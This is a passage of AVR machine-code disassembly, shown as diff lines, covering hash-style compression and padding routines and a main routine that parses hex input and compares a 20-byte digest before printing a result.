0x1e + 374: e4 0f add r30, r20 + 376: f1 1d adc r31, r1 + 378: 40 81 ld r20, Z + 37a: 24 01 movw r4, r8 + 37c: 35 01 movw r6, r10 + 37e: 04 2e mov r0, r20 + 380: 04 c0 rjmp .+8 ; 0x38a + 382: 44 0c add r4, r4 + 384: 55 1c adc r5, r5 + 386: 66 1c adc r6, r6 + 388: 77 1c adc r7, r7 + 38a: 0a 94 dec r0 + 38c: d2 f7 brpl .-12 ; 0x382 + 38e: 41 95 neg r20 + 390: 4f 71 andi r20, 0x1F ; 31 + 392: 04 c0 rjmp .+8 ; 0x39c + 394: b6 94 lsr r11 + 396: a7 94 ror r10 + 398: 97 94 ror r9 + 39a: 87 94 ror r8 + 39c: 4a 95 dec r20 + 39e: d2 f7 brpl .-12 ; 0x394 + 3a0: 84 28 or r8, r4 + 3a2: 95 28 or r9, r5 + 3a4: a6 28 or r10, r6 + 3a6: b7 28 or r11, r7 + 3a8: f1 01 movw r30, r2 + 3aa: 40 88 ldd r4, Z+16 ; 0x10 + 3ac: 51 88 ldd r5, Z+17 ; 0x11 + 3ae: 62 88 ldd r6, Z+18 ; 0x12 + 3b0: 73 88 ldd r7, Z+19 ; 0x13 + 3b2: 84 0c add r8, r4 + 3b4: 95 1c adc r9, r5 + 3b6: a6 1c adc r10, r6 + 3b8: b7 1c adc r11, r7 + 3ba: 40 82 st Z, r4 + 3bc: 51 82 std Z+1, r5 ; 0x01 + 3be: 62 82 std Z+2, r6 ; 0x02 + 3c0: 73 82 std Z+3, r7 ; 0x03 + 3c2: 00 8b std Z+16, r16 ; 0x10 + 3c4: 11 8b std Z+17, r17 ; 0x11 + 3c6: 22 8b std Z+18, r18 ; 0x12 + 3c8: 33 8b std Z+19, r19 ; 0x13 + 3ca: ac 01 movw r20, r24 + 3cc: bd 01 movw r22, r26 + 3ce: 2a e0 ldi r18, 0x0A ; 10 + 3d0: 44 0f add r20, r20 + 3d2: 55 1f adc r21, r21 + 3d4: 66 1f adc r22, r22 + 3d6: 77 1f adc r23, r23 + 3d8: 2a 95 dec r18 + 3da: d1 f7 brne .-12 ; 0x3d0 + 3dc: 36 e1 ldi r19, 0x16 ; 22 + 3de: b6 95 lsr r27 + 3e0: a7 95 ror r26 + 3e2: 97 95 ror r25 + 3e4: 87 95 ror r24 + 3e6: 3a 95 dec r19 + 3e8: d1 f7 brne .-12 ; 0x3de + 3ea: 84 2b or r24, r20 + 3ec: 95 2b or r25, r21 + 3ee: a6 2b or r26, r22 + 3f0: b7 2b or r27, r23 + 3f2: 84 87 std Z+12, r24 ; 0x0c + 3f4: 95 87 std Z+13, r25 ; 0x0d + 3f6: a6 87 std Z+14, r26 ; 0x0e + 3f8: b7 87 std Z+15, r27 ; 0x0f + 3fa: c0 86 std Z+8, r12 ; 0x08 + 3fc: d1 86 std Z+9, r13 ; 0x09 + 3fe: e2 86 std Z+10, r14 ; 0x0a + 400: f3 86 std Z+11, r15 ; 0x0b + 402: 84 82 std Z+4, r8 ; 0x04 + 404: 95 82 std Z+5, r9 ; 0x05 + 406: a6 82 std Z+6, r10 ; 0x06 + 408: b7 82 std Z+7, r11 ; 0x07 + 40a: 2c 8d ldd r18, Y+28 ; 0x1c + 40c: 3d 8d ldd r19, Y+29 ; 0x1d + 40e: 49 a5 ldd r20, Y+41 ; 0x29 + 410: 5a a5 ldd r21, Y+42 ; 0x2a + 412: 24 17 cp r18, r20 + 414: 35 07 cpc r19, r21 + 416: 09 f0 breq .+2 ; 0x41a + 418: 22 cf rjmp .-444 ; 0x25e + 41a: 6c 89 ldd r22, Y+20 ; 0x14 + 41c: 7d 89 ldd r23, Y+21 ; 0x15 + 41e: 8d a1 ldd r24, Y+37 ; 0x25 + 420: 9e a1 ldd r25, Y+38 ; 0x26 + 422: 68 17 cp r22, r24 + 424: 79 07 cpc r23, r25 + 426: 29 f1 breq .+74 ; 0x472 + 428: 60 5f subi r22, 0xF0 ; 240 + 42a: 7f 4f sbci r23, 0xFF ; 255 + 42c: 7d 8b std Y+21, r23 ; 0x15 + 42e: 6c 8b std Y+20, r22 ; 0x14 + 430: de 01 movw r26, r28 + 432: 11 96 adiw r26, 0x01 ; 1 + 434: cd 01 movw r24, r26 + 436: 2a 8d ldd r18, Y+26 ; 0x1a + 438: 3b 8d ldd r19, Y+27 ; 0x1b + 43a: f9 01 movw r30, r18 + 43c: 41 91 ld r20, Z+ + 43e: 9f 01 movw r18, r30 + 440: e4 2f mov r30, r20 + 442: f0 e0 ldi r31, 0x00 ; 0 + 444: ee 57 subi r30, 0x7E ; 126 + 446: fe 4f sbci r31, 0xFE ; 254 + 448: 40 81 ld r20, Z + 44a: fc 01 movw r30, r24 + 44c: 41 93 st Z+, r20 + 44e: cf 01 movw r24, r30 + 450: 49 89 ldd r20, Y+17 ; 0x11 + 452: 5a 89 ldd r21, Y+18 ; 0x12 + 454: e4 17 cp r30, r20 + 456: f5 07 cpc r31, r21 + 458: 81 f7 brne .-32 ; 0x43a + 45a: 8d 91 ld r24, X+ + 45c: ef 8d ldd r30, Y+31 ; 0x1f + 45e: f8 a1 ldd r31, Y+32 ; 0x20 + 460: 81 93 st Z+, r24 + 462: f8 a3 std Y+32, r31 ; 0x20 + 464: ef 8f std Y+31, r30 ; 0x1f + 466: 29 89 ldd r18, Y+17 ; 0x11 + 468: 3a 89 ldd r19, Y+18 ; 0x12 + 46a: 2a 17 cp r18, r26 + 46c: 3b 07 cpc r19, r27 + 46e: a9 f7 brne .-22 ; 0x45a + 470: de ce rjmp .-580 ; 0x22e + 472: ac 96 adiw r28, 0x2c ; 44 + 474: 0f b6 in r0, 0x3f ; 63 + 476: f8 94 cli + 478: de bf out 0x3e, r29 ; 62 + 47a: 0f be out 0x3f, r0 ; 63 + 47c: cd bf out 0x3d, r28 ; 61 + 47e: df 91 pop r29 + 480: cf 91 pop r28 + 482: 1f 91 pop r17 + 484: 0f 91 pop r16 + 486: ff 90 pop r15 + 488: ef 90 pop r14 + 48a: df 90 pop r13 + 48c: cf 90 pop r12 + 48e: bf 90 pop r11 + 490: af 90 pop r10 + 492: 9f 90 pop r9 + 494: 8f 90 pop r8 + 496: 7f 90 pop r7 + 498: 6f 90 pop r6 + 49a: 5f 90 pop r5 + 49c: 4f 90 pop r4 + 49e: 3f 90 pop r3 + 4a0: 2f 90 pop r2 + 4a2: 08 95 ret + 4a4: 4f 92 push r4 + 4a6: 5f 92 push r5 + 4a8: 6f 92 push r6 + 4aa: 7f 92 push r7 + 4ac: 8f 92 push r8 + 4ae: 9f 92 push r9 + 4b0: af 92 push r10 + 4b2: bf 92 push r11 + 4b4: cf 92 push r12 + 4b6: df 92 push r13 + 4b8: ef 92 push r14 + 4ba: ff 92 push r15 + 4bc: 0f 93 push r16 + 4be: 1f 93 push r17 + 4c0: cf 93 push r28 + 4c2: df 93 push r29 + 4c4: cd b7 in r28, 0x3d ; 61 + 4c6: de b7 in r29, 0x3e ; 62 + 4c8: c0 54 subi r28, 0x40 ; 64 + 4ca: d1 09 sbc r29, r1 + 4cc: 0f b6 in r0, 0x3f ; 63 + 4ce: f8 94 cli + 4d0: de bf out 0x3e, r29 ; 62 + 4d2: 0f be out 0x3f, r0 ; 63 + 4d4: cd bf out 0x3d, r28 ; 61 + 4d6: 5c 01 movw r10, r24 + 4d8: 3b 01 movw r6, r22 + 4da: 4e 01 movw r8, r28 + 4dc: 09 e2 ldi r16, 0x29 ; 41 + 4de: 80 0e add r8, r16 + 4e0: 91 1c adc r9, r1 + 4e2: f4 01 movw r30, r8 + 4e4: 80 e0 ldi r24, 0x00 ; 0 + 4e6: 24 01 movw r4, r8 + 4e8: 81 93 st Z+, r24 + 4ea: 8f 5f subi r24, 0xFF ; 255 + 4ec: 80 31 cpi r24, 0x10 ; 16 + 4ee: e1 f7 brne .-8 ; 0x4e8 + 4f0: 25 e0 ldi r18, 0x05 ; 5 + 4f2: c2 2e mov r12, r18 + 4f4: 21 e0 ldi r18, 0x01 ; 1 + 4f6: d2 2e mov r13, r18 + 4f8: 3e e1 ldi r19, 0x1E ; 30 + 4fa: e3 2e mov r14, r19 + 4fc: 31 e0 ldi r19, 0x01 ; 1 + 4fe: f3 2e mov r15, r19 + 500: 02 e3 ldi r16, 0x32 ; 50 + 502: 11 e0 ldi r17, 0x01 ; 1 + 504: 94 01 movw r18, r8 + 506: a3 01 movw r20, r6 + 508: be 01 movw r22, r28 + 50a: 6b 5e subi r22, 0xEB ; 235 + 50c: 7f 4f sbci r23, 0xFF ; 255 + 50e: c5 01 movw r24, r10 + 510: 0e 94 d0 00 call 0x1a0 ; 0x1a0 + 514: 85 e0 ldi r24, 0x05 ; 5 + 516: 89 a7 std Y+41, r24 ; 0x29 + 518: 9e 01 movw r18, r28 + 51a: 28 5c subi r18, 0xC8 ; 200 + 51c: 3f 4f sbci r19, 0xFF ; 255 + 51e: d4 01 movw r26, r8 + 520: 8d 91 ld r24, X+ + 522: 4d 01 movw r8, r26 + 524: 87 5f subi r24, 0xF7 ; 247 + 526: 8f 70 andi r24, 0x0F ; 15 + 528: 8c 93 st X, r24 + 52a: a2 17 cp r26, r18 + 52c: b3 07 cpc r27, r19 + 52e: b9 f7 brne .-18 ; 0x51e + 530: 80 e0 ldi r24, 0x00 ; 0 + 532: c8 2e mov r12, r24 + 534: 81 e0 ldi r24, 0x01 ; 1 + 536: d8 2e mov r13, r24 + 538: 9a e0 ldi r25, 0x0A ; 10 + 53a: e9 2e mov r14, r25 + 53c: 91 e0 ldi r25, 0x01 ; 1 + 53e: f9 2e mov r15, r25 + 540: 02 e3 ldi r16, 0x32 ; 50 + 542: 11 e0 ldi r17, 0x01 ; 1 + 544: 92 01 movw r18, r4 + 546: a3 01 movw r20, r6 + 548: be 01 movw r22, r28 + 54a: 6f 5f subi r22, 0xFF ; 255 + 54c: 7f 4f sbci r23, 0xFF ; 255 + 54e: c5 01 movw r24, r10 + 550: 0e 94 d0 00 call 0x1a0 ; 0x1a0 + 554: 49 8d ldd r20, Y+25 ; 0x19 + 556: 5a 8d ldd r21, Y+26 ; 0x1a + 558: 6b 8d ldd r22, Y+27 ; 0x1b + 55a: 7c 8d ldd r23, Y+28 ; 0x1c + 55c: 89 85 ldd r24, Y+9 ; 0x09 + 55e: 9a 85 ldd r25, Y+10 ; 0x0a + 560: ab 85 ldd r26, Y+11 ; 0x0b + 562: bc 85 ldd r27, Y+12 ; 0x0c + 564: 84 0f add r24, r20 + 566: 95 1f adc r25, r21 + 568: a6 1f adc r26, r22 + 56a: b7 1f adc r27, r23 + 56c: f5 01 movw r30, r10 + 56e: 40 81 ld r20, Z + 570: 51 81 ldd r21, Z+1 ; 0x01 + 572: 62 81 ldd r22, Z+2 ; 0x02 + 574: 73 81 ldd r23, Z+3 ; 0x03 + 576: 6c 01 movw r12, r24 + 578: 7d 01 movw r14, r26 + 57a: c4 0e add r12, r20 + 57c: d5 1e adc r13, r21 + 57e: e6 1e adc r14, r22 + 580: f7 1e adc r15, r23 + 582: 21 96 adiw r28, 0x01 ; 1 + 584: cc ae std Y+60, r12 ; 0x3c + 586: dd ae std Y+61, r13 ; 0x3d + 588: ee ae std Y+62, r14 ; 0x3e + 58a: ff ae std Y+63, r15 ; 0x3f + 58c: 21 97 sbiw r28, 0x01 ; 1 + 58e: 09 a1 ldd r16, Y+33 ; 0x21 + 590: 1a a1 ldd r17, Y+34 ; 0x22 + 592: 2b a1 ldd r18, Y+35 ; 0x23 + 594: 3c a1 ldd r19, Y+36 ; 0x24 + 596: 49 89 ldd r20, Y+17 ; 0x11 + 598: 5a 89 ldd r21, Y+18 ; 0x12 + 59a: 6b 89 ldd r22, Y+19 ; 0x13 + 59c: 7c 89 ldd r23, Y+20 ; 0x14 + 59e: 04 0f add r16, r20 + 5a0: 15 1f adc r17, r21 + 5a2: 26 1f adc r18, r22 + 5a4: 37 1f adc r19, r23 + 5a6: 40 85 ldd r20, Z+8 ; 0x08 + 5a8: 51 85 ldd r21, Z+9 ; 0x09 + 5aa: 62 85 ldd r22, Z+10 ; 0x0a + 5ac: 73 85 ldd r23, Z+11 ; 0x0b + 5ae: 04 0f add r16, r20 + 5b0: 15 1f adc r17, r21 + 5b2: 26 1f adc r18, r22 + 5b4: 37 1f adc r19, r23 + 5b6: 4d a0 ldd r4, Y+37 ; 0x25 + 5b8: 5e a0 ldd r5, Y+38 ; 0x26 + 5ba: 6f a0 ldd r6, Y+39 ; 0x27 + 5bc: 78 a4 ldd r7, Y+40 ; 0x28 + 5be: 49 81 ldd r20, Y+1 ; 0x01 + 5c0: 5a 81 ldd r21, Y+2 ; 0x02 + 5c2: 6b 81 ldd r22, Y+3 ; 0x03 + 5c4: 7c 81 ldd r23, Y+4 ; 0x04 + 5c6: 44 0e add r4, r20 + 5c8: 55 1e adc r5, r21 + 5ca: 66 1e adc r6, r22 + 5cc: 77 1e adc r7, r23 + 5ce: 44 85 ldd r20, Z+12 ; 0x0c + 5d0: 55 85 ldd r21, Z+13 ; 0x0d + 5d2: 66 85 ldd r22, Z+14 ; 0x0e + 5d4: 77 85 ldd r23, Z+15 ; 0x0f + 5d6: 44 0e add r4, r20 + 5d8: 55 1e adc r5, r21 + 5da: 66 1e adc r6, r22 + 5dc: 77 1e adc r7, r23 + 5de: cd 88 ldd r12, Y+21 ; 0x15 + 5e0: de 88 ldd r13, Y+22 ; 0x16 + 5e2: ef 88 ldd r14, Y+23 ; 0x17 + 5e4: f8 8c ldd r15, Y+24 ; 0x18 + 5e6: 4d 81 ldd r20, Y+5 ; 0x05 + 5e8: 5e 81 ldd r21, Y+6 ; 0x06 + 5ea: 6f 81 ldd r22, Y+7 ; 0x07 + 5ec: 78 85 ldd r23, Y+8 ; 0x08 + 5ee: 4c 0d add r20, r12 + 5f0: 5d 1d adc r21, r13 + 5f2: 6e 1d adc r22, r14 + 5f4: 7f 1d adc r23, r15 + 5f6: c0 88 ldd r12, Z+16 ; 0x10 + 5f8: d1 88 ldd r13, Z+17 ; 0x11 + 5fa: e2 88 ldd r14, Z+18 ; 0x12 + 5fc: f3 88 ldd r15, Z+19 ; 0x13 + 5fe: 4c 0d add r20, r12 + 600: 5d 1d adc r21, r13 + 602: 6e 1d adc r22, r14 + 604: 7f 1d adc r23, r15 + 606: 8d 8d ldd r24, Y+29 ; 0x1d + 608: 9e 8d ldd r25, Y+30 ; 0x1e + 60a: af 8d ldd r26, Y+31 ; 0x1f + 60c: b8 a1 ldd r27, Y+32 ; 0x20 + 60e: cd 84 ldd r12, Y+13 ; 0x0d + 610: de 84 ldd r13, Y+14 ; 0x0e + 612: ef 84 ldd r14, Y+15 ; 0x0f + 614: f8 88 ldd r15, Y+16 ; 0x10 + 616: 8c 0d add r24, r12 + 618: 9d 1d adc r25, r13 + 61a: ae 1d adc r26, r14 + 61c: bf 1d adc r27, r15 + 61e: c4 80 ldd r12, Z+4 ; 0x04 + 620: d5 80 ldd r13, Z+5 ; 0x05 + 622: e6 80 ldd r14, Z+6 ; 0x06 + 624: f7 80 ldd r15, Z+7 ; 0x07 + 626: c8 0e add r12, r24 + 628: d9 1e adc r13, r25 + 62a: ea 1e adc r14, r26 + 62c: fb 1e adc r15, r27 + 62e: c0 82 st Z, r12 + 630: d1 82 std Z+1, r13 ; 0x01 + 632: e2 82 std Z+2, r14 ; 0x02 + 634: f3 82 std Z+3, r15 ; 0x03 + 636: 04 83 std Z+4, r16 ; 0x04 + 638: 15 83 std Z+5, r17 ; 0x05 + 63a: 26 83 std Z+6, r18 ; 0x06 + 63c: 37 83 std Z+7, r19 ; 0x07 + 63e: 40 86 std Z+8, r4 ; 0x08 + 640: 51 86 std Z+9, r5 ; 0x09 + 642: 62 86 std Z+10, r6 ; 0x0a + 644: 73 86 std Z+11, r7 ; 0x0b + 646: 44 87 std Z+12, r20 ; 0x0c + 648: 55 87 std Z+13, r21 ; 0x0d + 64a: 66 87 std Z+14, r22 ; 0x0e + 64c: 77 87 std Z+15, r23 ; 0x0f + 64e: 21 96 adiw r28, 0x01 ; 1 + 650: cc ac ldd r12, Y+60 ; 0x3c + 652: dd ac ldd r13, Y+61 ; 0x3d + 654: ee ac ldd r14, Y+62 ; 0x3e + 656: ff ac ldd r15, Y+63 ; 0x3f + 658: 21 97 sbiw r28, 0x01 ; 1 + 65a: c0 8a std Z+16, r12 ; 0x10 + 65c: d1 8a std Z+17, r13 ; 0x11 + 65e: e2 8a std Z+18, r14 ; 0x12 + 660: f3 8a std Z+19, r15 ; 0x13 + 662: c0 5c subi r28, 0xC0 ; 192 + 664: df 4f sbci r29, 0xFF ; 255 + 666: 0f b6 in r0, 0x3f ; 63 + 668: f8 94 cli + 66a: de bf out 0x3e, r29 ; 62 + 66c: 0f be out 0x3f, r0 ; 63 + 66e: cd bf out 0x3d, r28 ; 61 + 670: df 91 pop r29 + 672: cf 91 pop r28 + 674: 1f 91 pop r17 + 676: 0f 91 pop r16 + 678: ff 90 pop r15 + 67a: ef 90 pop r14 + 67c: df 90 pop r13 + 67e: cf 90 pop r12 + 680: bf 90 pop r11 + 682: af 90 pop r10 + 684: 9f 90 pop r9 + 686: 8f 90 pop r8 + 688: 7f 90 pop r7 + 68a: 6f 90 pop r6 + 68c: 5f 90 pop r5 + 68e: 4f 90 pop r4 + 690: 08 95 ret + 692: 8f 92 push r8 + 694: 9f 92 push r9 + 696: af 92 push r10 + 698: bf 92 push r11 + 69a: cf 92 push r12 + 69c: df 92 push r13 + 69e: ef 92 push r14 + 6a0: ff 92 push r15 + 6a2: 0f 93 push r16 + 6a4: 1f 93 push r17 + 6a6: cf 93 push r28 + 6a8: df 93 push r29 + 6aa: cd b7 in r28, 0x3d ; 61 + 6ac: de b7 in r29, 0x3e ; 62 + 6ae: c0 54 subi r28, 0x40 ; 64 + 6b0: d1 09 sbc r29, r1 + 6b2: 0f b6 in r0, 0x3f ; 63 + 6b4: f8 94 cli + 6b6: de bf out 0x3e, r29 ; 62 + 6b8: 0f be out 0x3f, r0 ; 63 + 6ba: cd bf out 0x3d, r28 ; 61 + 6bc: 8c 01 movw r16, r24 + 6be: 6a 01 movw r12, r20 + 6c0: 7b 01 movw r14, r22 + 6c2: b2 2e mov r11, r18 + 6c4: a3 2e mov r10, r19 + 6c6: a2 e9 ldi r26, 0x92 ; 146 + 6c8: b1 e0 ldi r27, 0x01 ; 1 + 6ca: e2 2f mov r30, r18 + 6cc: f3 2f mov r31, r19 + 6ce: 4d 91 ld r20, X+ + 6d0: 5d 91 ld r21, X+ + 6d2: 6d 91 ld r22, X+ + 6d4: 7d 91 ld r23, X+ + 6d6: 41 93 st Z+, r20 + 6d8: 51 93 st Z+, r21 + 6da: 61 93 st Z+, r22 + 6dc: 71 93 st Z+, r23 + 6de: 81 e0 ldi r24, 0x01 ; 1 + 6e0: a6 3a cpi r26, 0xA6 ; 166 + 6e2: b8 07 cpc r27, r24 + 6e4: a1 f7 brne .-24 ; 0x6ce + 6e6: 46 01 movw r8, r12 + 6e8: e0 ec ldi r30, 0xC0 ; 192 + 6ea: 8e 22 and r8, r30 + 6ec: 80 0e add r8, r16 + 6ee: 91 1e adc r9, r17 + 6f0: 08 15 cp r16, r8 + 6f2: 19 05 cpc r17, r9 + 6f4: 40 f4 brcc .+16 ; 0x706 + 6f6: b8 01 movw r22, r16 + 6f8: 8b 2d mov r24, r11 + 6fa: 9a 2d mov r25, r10 + 6fc: 0e 94 52 02 call 0x4a4 ; 0x4a4 + 700: 00 5c subi r16, 0xC0 ; 192 + 702: 1f 4f sbci r17, 0xFF ; 255 + 704: f5 cf rjmp .-22 ; 0x6f0 + 706: 8c 2d mov r24, r12 + 708: 8f 73 andi r24, 0x3F ; 63 + 70a: f8 01 movw r30, r16 + 70c: 8e 01 movw r16, r28 + 70e: 0f 5f subi r16, 0xFF ; 255 + 710: 1f 4f sbci r17, 0xFF ; 255 + 712: d8 01 movw r26, r16 + 714: 90 2e mov r9, r16 + 716: 81 2e mov r8, r17 + 718: 9a 2f mov r25, r26 + 71a: 90 1b sub r25, r16 + 71c: 98 17 cp r25, r24 + 71e: 18 f4 brcc .+6 ; 0x726 + 720: 91 91 ld r25, Z+ + 722: 9d 93 st X+, r25 + 724: f9 cf rjmp .-14 ; 0x718 + 726: 90 e8 ldi r25, 0x80 ; 128 + 728: f8 01 movw r30, r16 + 72a: e8 0f add r30, r24 + 72c: f1 1d adc r31, r1 + 72e: 90 83 st Z, r25 + 730: 91 e0 ldi r25, 0x01 ; 1 + 732: 98 0f add r25, r24 + 734: 90 34 cpi r25, 0x40 ; 64 + 736: 31 f0 breq .+12 ; 0x744 + 738: f8 01 movw r30, r16 + 73a: e9 0f add r30, r25 + 73c: f1 1d adc r31, r1 + 73e: 10 82 st Z, r1 + 740: 9f 5f subi r25, 0xFF ; 255 + 742: f8 cf rjmp .-16 ; 0x734 + 744: 88 33 cpi r24, 0x38 ; 56 + 746: a0 f5 brcc .+104 ; 0x7b0 + 748: d7 01 movw r26, r14 + 74a: c6 01 movw r24, r12 + 74c: 23 e0 ldi r18, 0x03 ; 3 + 74e: 88 0f add r24, r24 + 750: 99 1f adc r25, r25 + 752: aa 1f adc r26, r26 + 754: bb 1f adc r27, r27 + 756: 2a 95 dec r18 + 758: d1 f7 brne .-12 ; 0x74e + 75a: 89 af std Y+57, r24 ; 0x39 + 75c: 9a af std Y+58, r25 ; 0x3a + 75e: ab af std Y+59, r26 ; 0x3b + 760: bc af std Y+60, r27 ; 0x3c + 762: 3d e1 ldi r19, 0x1D ; 29 + 764: f6 94 lsr r15 + 766: e7 94 ror r14 + 768: d7 94 ror r13 + 76a: c7 94 ror r12 + 76c: 3a 95 dec r19 + 76e: d1 f7 brne .-12 ; 0x764 + 770: 21 96 adiw r28, 0x01 ; 1 + 772: cc ae std Y+60, r12 ; 0x3c + 774: dd ae std Y+61, r13 ; 0x3d + 776: ee ae std Y+62, r14 ; 0x3e + 778: ff ae std Y+63, r15 ; 0x3f + 77a: 21 97 sbiw r28, 0x01 ; 1 + 77c: 69 2d mov r22, r9 + 77e: 78 2d mov r23, r8 + 780: 8b 2d mov r24, r11 + 782: 9a 2d mov r25, r10 + 784: 0e 94 52 02 call 0x4a4 ; 0x4a4 + 788: c0 5c subi r28, 0xC0 ; 192 + 78a: df 4f sbci r29, 0xFF ; 255 + 78c: 0f b6 in r0, 0x3f ; 63 + 78e: f8 94 cli + 790: de bf out 0x3e, r29 ; 62 + 792: 0f be out 0x3f, r0 ; 63 + 794: cd bf out 0x3d, r28 ; 61 + 796: df 91 pop r29 + 798: cf 91 pop r28 + 79a: 1f 91 pop r17 + 79c: 0f 91 pop r16 + 79e: ff 90 pop r15 + 7a0: ef 90 pop r14 + 7a2: df 90 pop r13 + 7a4: cf 90 pop r12 + 7a6: bf 90 pop r11 + 7a8: af 90 pop r10 + 7aa: 9f 90 pop r9 + 7ac: 8f 90 pop r8 + 7ae: 08 95 ret + 7b0: b8 01 movw r22, r16 + 7b2: 8b 2d mov r24, r11 + 7b4: 9a 2d mov r25, r10 + 7b6: 0e 94 52 02 call 0x4a4 ; 0x4a4 + 7ba: ce 01 movw r24, r28 + 7bc: c9 96 adiw r24, 0x39 ; 57 + 7be: f8 01 movw r30, r16 + 7c0: 11 92 st Z+, r1 + 7c2: 8f 01 movw r16, r30 + 7c4: e8 17 cp r30, r24 + 7c6: f9 07 cpc r31, r25 + 7c8: d1 f7 brne .-12 ; 0x7be + 7ca: be cf rjmp .-132 ; 0x748 + 7cc: 0f 93 push r16 + 7ce: 1f 93 push r17 + 7d0: cf 93 push r28 + 7d2: df 93 push r29 + 7d4: cd b7 in r28, 0x3d ; 61 + 7d6: de b7 in r29, 0x3e ; 62 + 7d8: cc 58 subi r28, 0x8C ; 140 + 7da: d1 09 sbc r29, r1 + 7dc: 0f b6 in r0, 0x3f ; 63 + 7de: f8 94 cli + 7e0: de bf out 0x3e, r29 ; 62 + 7e2: 0f be out 0x3f, r0 ; 63 + 7e4: cd bf out 0x3d, r28 ; 61 + 7e6: 0e 94 4b 00 call 0x96 ; 0x96 + 7ea: 81 e3 ldi r24, 0x31 ; 49 + 7ec: 92 e0 ldi r25, 0x02 ; 2 + 7ee: 0e 94 5e 00 call 0xbc ; 0xbc + 7f2: 8e 01 movw r16, r28 + 7f4: 07 5d subi r16, 0xD7 ; 215 + 7f6: 1f 4f sbci r17, 0xFF ; 255 + 7f8: 8a e5 ldi r24, 0x5A ; 90 + 7fa: 92 e0 ldi r25, 0x02 ; 2 + 7fc: 0e 94 5e 00 call 0xbc ; 0xbc + 800: 9e 01 movw r18, r28 + 802: 27 58 subi r18, 0x87 ; 135 + 804: 3f 4f sbci r19, 0xFF ; 255 + 806: 47 e2 ldi r20, 0x27 ; 39 + 808: 50 e0 ldi r21, 0x00 ; 0 + 80a: 60 e0 ldi r22, 0x00 ; 0 + 80c: 70 e0 ldi r23, 0x00 ; 0 + 80e: 87 e6 ldi r24, 0x67 ; 103 + 810: 92 e0 ldi r25, 0x02 ; 2 + 812: 0e 94 49 03 call 0x692 ; 0x692 + 816: 64 e6 ldi r22, 0x64 ; 100 + 818: ce 01 movw r24, r28 + 81a: 01 96 adiw r24, 0x01 ; 1 + 81c: 0e 94 6a 00 call 0xd4 ; 0xd4 + 820: fe 01 movw r30, r28 + 822: 31 96 adiw r30, 0x01 ; 1 + 824: de 01 movw r26, r28 + 826: ab 59 subi r26, 0x9B ; 155 + 828: bf 4f sbci r27, 0xFF ; 255 + 82a: cd 01 movw r24, r26 + 82c: 20 81 ld r18, Z + 82e: 21 36 cpi r18, 0x61 ; 97 + 830: 14 f4 brge .+4 ; 0x836 + 832: 30 e3 ldi r19, 0x30 ; 48 + 834: 01 c0 rjmp .+2 ; 0x838 + 836: 37 e5 ldi r19, 0x57 ; 87 + 838: 23 1b sub r18, r19 + 83a: 41 81 ldd r20, Z+1 ; 0x01 + 83c: 41 36 cpi r20, 0x61 ; 97 + 83e: 14 f4 brge .+4 ; 0x844 + 840: 50 e3 ldi r21, 0x30 ; 48 + 842: 01 c0 rjmp .+2 ; 0x846 + 844: 57 e5 ldi r21, 0x57 ; 87 + 846: 60 e1 ldi r22, 0x10 ; 16 + 848: 26 9f mul r18, r22 + 84a: 90 01 movw r18, r0 + 84c: 11 24 eor r1, r1 + 84e: 45 1b sub r20, r21 + 850: 24 2b or r18, r20 + 852: 2d 93 st X+, r18 + 854: 32 96 adiw r30, 0x02 ; 2 + 856: 0e 17 cp r16, r30 + 858: 1f 07 cpc r17, r31 + 85a: 41 f7 brne .-48 ; 0x82c + 85c: 44 e1 ldi r20, 0x14 ; 20 + 85e: 50 e0 ldi r21, 0x00 ; 0 + 860: be 01 movw r22, r28 + 862: 67 58 subi r22, 0x87 ; 135 + 864: 7f 4f sbci r23, 0xFF ; 255 + 866: 0e 94 52 04 call 0x8a4 ; 0x8a4 + 86a: 89 2b or r24, r25 + 86c: 29 f0 breq .+10 ; 0x878 + 86e: 88 e9 ldi r24, 0x98 ; 152 + 870: 92 e0 ldi r25, 0x02 ; 2 + 872: 0e 94 5e 00 call 0xbc ; 0xbc + 876: c0 cf rjmp .-128 ; 0x7f8 + 878: 8f e8 ldi r24, 0x8F ; 143 + 87a: 92 e0 ldi r25, 0x02 ; 2 + 87c: 0e 94 5e 00 call 0xbc ; 0xbc + 880: ce 01 movw r24, r28 + 882: 01 96 adiw r24, 0x01 ; 1 + 884: 0e 94 81 00 call 0x102 ; 0x102 + 888: 80 e0 ldi r24, 0x00 ; 0 + 88a: 90 e0 ldi r25, 0x00 ; 0 + 88c: c4 57 subi r28, 0x74 ; 116 + 88e: df 4f sbci r29, 0xFF ; 255 + 890: 0f b6 in r0, 0x3f ; 63 + 892: f8 94 cli + 894: de bf out 0x3e, r29 ; 62 + 896: 0f be out 0x3f, r0 ; 63 + 898: cd bf out 0x3d, r28 ; 61 + 89a: df 91 pop r29 + 89c: cf 91 pop r28 + 89e: 1f 91 pop r17 + 8a0: 0f 91 pop r16 + 8a2: 08 95 ret + 8a4: fb 01 movw r30, r22 + 8a6: dc 01 movw r26, r24 + 8a8: 04 c0 rjmp .+8 ; 0x8b2 + 8aa: 8d 91 ld r24, X+ + 8ac: 01 90 ld r0, Z+ + 8ae: 80 19 sub r24, r0 + 8b0: 21 f4 brne .+8 ; 0x8ba + 8b2: 41 50 subi r20, 0x01 ; 1 + 8b4: 50 40 sbci r21, 0x00 ; 0 + 8b6: c8 f7 brcc .-14 ; 0x8aa + 8b8: 88 1b sub r24, r24 + 8ba: 99 0b sbc r25, r25 + 8bc: 08 95 ret + 8be: f8 94 cli + 8c0: ff cf rjmp .-2 ; 0x8c0 + +Disassembly of section .comment: + +00000000 <.comment>: + 0: 47 43 sbci r20, 0x37 ; 55 + 2: 43 3a cpi r20, 0xA3 ; 163 + 4: 20 28 or r2, r0 + 6: 47 4e sbci r20, 0xE7 ; 231 + 8: 55 29 or r21, r5 + a: 20 35 cpi r18, 0x50 ; 80 + c: 2e 34 cpi r18, 0x4E ; 78 + e: 2e 30 cpi r18, 0x0E ; 14 + ... + +Disassembly of section .note.gnu.avr.deviceinfo: + +00000000 <.note.gnu.avr.deviceinfo>: + 0: 04 00 .word 0x0004 ; ???? + 2: 00 00 nop + 4: 2d 00 .word 0x002d ; ???? + 6: 00 00 nop + 8: 01 00 .word 0x0001 ; ???? + a: 00 00 nop + c: 41 56 subi r20, 0x61 ; 97 + e: 52 00 .word 0x0052 ; ???? + 10: 00 00 nop + 12: 00 00 nop + 14: 00 80 ld r0, Z + 16: 00 00 nop + 18: 00 01 movw r0, r0 + 1a: 00 00 nop + 1c: 00 08 sbc r0, r0 + 1e: 00 00 nop + 20: 00 00 nop + 22: 00 00 nop + 24: 00 04 cpc r0, r0 + 26: 00 00 nop 